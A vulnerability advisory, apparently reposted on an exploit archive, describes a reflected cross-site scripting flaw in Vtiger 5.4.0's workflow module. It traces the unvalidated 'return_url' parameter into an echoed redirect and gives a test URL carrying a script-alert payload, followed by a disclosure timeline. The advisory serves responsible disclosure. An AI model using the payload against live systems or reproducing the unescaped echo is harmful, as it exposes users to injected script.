Vtiger 5.4.0 Cross Site Scripting Vulnerability

Vtiger 5.4.0 Reflected Cross Site Scripting


I. * Information *
==================
Name : Vtiger 5.4.0 Reflected Cross Site Scripting
Software : Vtiger 5.4.0 and possibly below.
Vendor Homepage : https://www.vtiger.com/
Vulnerability Type : Reflected Cross-Site Scripting
Severity : Medium (3/5)
Advisory Reference : SOJOBO-ADV-13-05 (http://www.enkomio.com/Advisories)
Credits: Sojobo dev team
Description: A Reflected Cross Site Scripting vulnerability was discovered during the testing of Sojobo, Static Analysis Tool.


II. * Details *
===============
A) Reflected Cross Site Scripting in savetemplate.php, deletetask.php, edittask.php, savetask.php and saveworkflow.php [Impact: 3/5]


Follow a trace to reach the vulnerable code.


File: \modules\com_vtiger_workflow\savetemplate.php
45: vtSaveWorkflowTemplate($adb, $_REQUEST);
...
37: $returnUrl = $request['return_url'];
...
40: window.location="<?php echo $returnUrl?>";


The variable 'return_url' isn't correctly validated before to be printed in the page.


A test request is: /index.php?module=com_vtiger_workflow&action=savetemplate&return_url="><script>alert('xss');</script>


III. * Report Timeline *
========================


26 October 2013 - First contact
29 October 2013 - Fix announced on the new version
10 December 2013 - Fix release with the new version

#  0day.today [2018-01-03]  #